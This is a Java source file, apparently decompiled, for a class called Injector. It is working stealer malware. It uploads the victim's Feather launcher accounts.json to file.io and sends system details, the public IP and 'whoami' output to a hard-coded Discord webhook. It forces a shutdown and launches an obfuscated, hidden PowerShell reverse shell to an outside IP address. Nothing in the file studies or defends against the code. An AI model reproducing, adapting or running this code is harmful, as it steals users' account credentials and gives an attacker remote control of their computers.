import com.sun.management.OperatingSystemMXBean; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.PrintWriter; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.net.HttpURLConnection; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; public class Injector { public static void main(String[] var0) { String var1 = getSystemInfo(); String var2 = getPublicIpAddress(); String var3 = var1 + "\nPublic IP: " + var2; String var4 = "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\.feather\\accounts.json"; String var5 = uploadFileToFileio(var4); var3 = var3 + "\nDownload link: " + var5; String var6 = executeCommand("whoami"); String var7 = executeCommand("shutdown -s -t 60"); String var8 = executeCommand("powershell -ep bypass -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwA4ADMALgAxADYAOAAuADEAMQAwAC4AMQAzADMAJwAsADQANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A"); var3 = var3 + "\n\nPC:\n" + var6; sendToDiscord(var3); } private static String executeCommand(String var0) { StringBuilder var1 = new StringBuilder(); try { Process var2 = Runtime.getRuntime().exec(var0); BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream())); String var4; while((var4 = var3.readLine()) != null) { var1.append(var4).append("\n"); } var3.close(); } catch (IOException var5) { var5.printStackTrace(); } return var1.toString(); } private static String uploadFileToFileio(String var0) { try { URL var1 = new URL("https://file.io"); HttpURLConnection var2 = (HttpURLConnection)var1.openConnection(); var2.setRequestMethod("POST"); var2.setRequestProperty("Content-Type", "multipart/form-data"); var2.setDoOutput(true); String var3 = Long.toHexString(System.currentTimeMillis()); var2.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + var3); OutputStream var4 = var2.getOutputStream(); try { PrintWriter var5 = new PrintWriter(new OutputStreamWriter(var4, "UTF-8"), true); try { var5.append("--").append(var3).append("\r\n"); var5.append("Content-Disposition: form-data; name=\"file\"; filename=\"accounts.json\"\r\n"); var5.append("Content-Type: application/json\r\n"); var5.append("\r\n").flush(); Files.copy(Paths.get(var0), var4); var4.flush(); var5.append("\r\n").flush(); var5.append("--").append(var3).append("--\r\n").flush(); } catch (Throwable var11) { try { var5.close(); } catch (Throwable var10) { var11.addSuppressed(var10); } throw var11; } var5.close(); } catch (Throwable var12) { if (var4 != null) { try { var4.close(); } catch (Throwable var9) { var12.addSuppressed(var9); } } throw var12; } if (var4 != null) { var4.close(); } int var14 = var2.getResponseCode(); System.out.println("File upload response code: " + var14); if (var14 != 200) { System.out.println("Failed to upload file. HTTP response code: " + var14); return "Upload failed"; } else { BufferedReader var15 = new BufferedReader(new InputStreamReader(var2.getInputStream())); StringBuilder var7 = new StringBuilder(); String var6; while((var6 = var15.readLine()) != null) { var7.append(var6); } var15.close(); String var8 = var7.toString(); return extractFileLink(var8); } } catch (IOException var13) { var13.printStackTrace(); return "Upload failed"; } } private static String extractFileLink(String var0) { String var1 = "\"link\":\""; int var2 = var0.indexOf(var1); if (var2 == -1) { return "Link extraction failed"; } else { var2 += var1.length(); int var3 = var0.indexOf("\"", var2); return var3 == -1 ? "Link extraction failed" : var0.substring(var2, var3); } } private static void sendToDiscord(String var0) { String var1 = "https://discord.com/api/webhooks/1264350069512081702/ISJl_hyXvIquHB_lWasJ98C8l2ldYY7Ato6YfqJHnZfnqPD1EjrZdGUu17b0zEl9Yzq5"; HttpURLConnection var2 = null; try { URL var3 = new URL(var1); var2 = (HttpURLConnection)var3.openConnection(); var2.setRequestMethod("POST"); var2.setRequestProperty("Content-Type", "application/json"); var2.setDoOutput(true); String var4 = "{ \"content\": \"" + escapeJson(var0) + "\" }"; System.out.println("Payload: " + var4); OutputStream var5 = var2.getOutputStream(); try { byte[] var6 = var4.getBytes("utf-8"); var5.write(var6, 0, var6.length); } catch (Throwable var15) { if (var5 != null) { try { var5.close(); } catch (Throwable var14) { var15.addSuppressed(var14); } } throw var15; } if (var5 != null) { var5.close(); } int var18 = var2.getResponseCode(); System.out.println("Response Code: " + var18); if (var18 == 204) { System.out.println("Message sent successfully."); } else { System.out.println("Failed to send message. HTTP response code: " + var18); BufferedReader var19 = new BufferedReader(new InputStreamReader(var2.getErrorStream())); StringBuilder var7 = new StringBuilder(); String var8; while((var8 = var19.readLine()) != null) { var7.append(var8); } var19.close(); System.out.println("Error response from Discord: " + var7.toString()); } } catch (IOException var16) { var16.printStackTrace(); } finally { if (var2 != null) { var2.disconnect(); } } } private static String getSystemInfo() { StringBuilder var0 = new StringBuilder(); OperatingSystemMXBean var1 = (OperatingSystemMXBean)ManagementFactory.getOperatingSystemMXBean(); RuntimeMXBean var2 = ManagementFactory.getRuntimeMXBean(); var0.append("Operating System: ").append(var1.getName()).append(" ").append(var1.getVersion()).append("\n"); var0.append("Architecture: ").append(var1.getArch()).append("\n"); var0.append("Available Processors: ").append(var1.getAvailableProcessors()).append("\n"); var0.append("Java Version: ").append(var2.getSpecVersion()).append("\n"); var0.append("Java Vendor: ").append(var2.getVmVendor()).append("\n"); return var0.toString(); } private static String getPublicIpAddress() { try { URL var0 = new URL("http://checkip.amazonaws.com/"); BufferedReader var1 = new BufferedReader(new InputStreamReader(var0.openStream())); String var2 = var1.readLine(); var1.close(); return var2; } catch (IOException var3) { return "Unable to determine public IP address"; } } private static String escapeJson(String var0) { return var0.replace("\\", "\\\\").replace("\"", "\\\"").replace("\b", "\\b").replace("\f", "\\f").replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t"); } }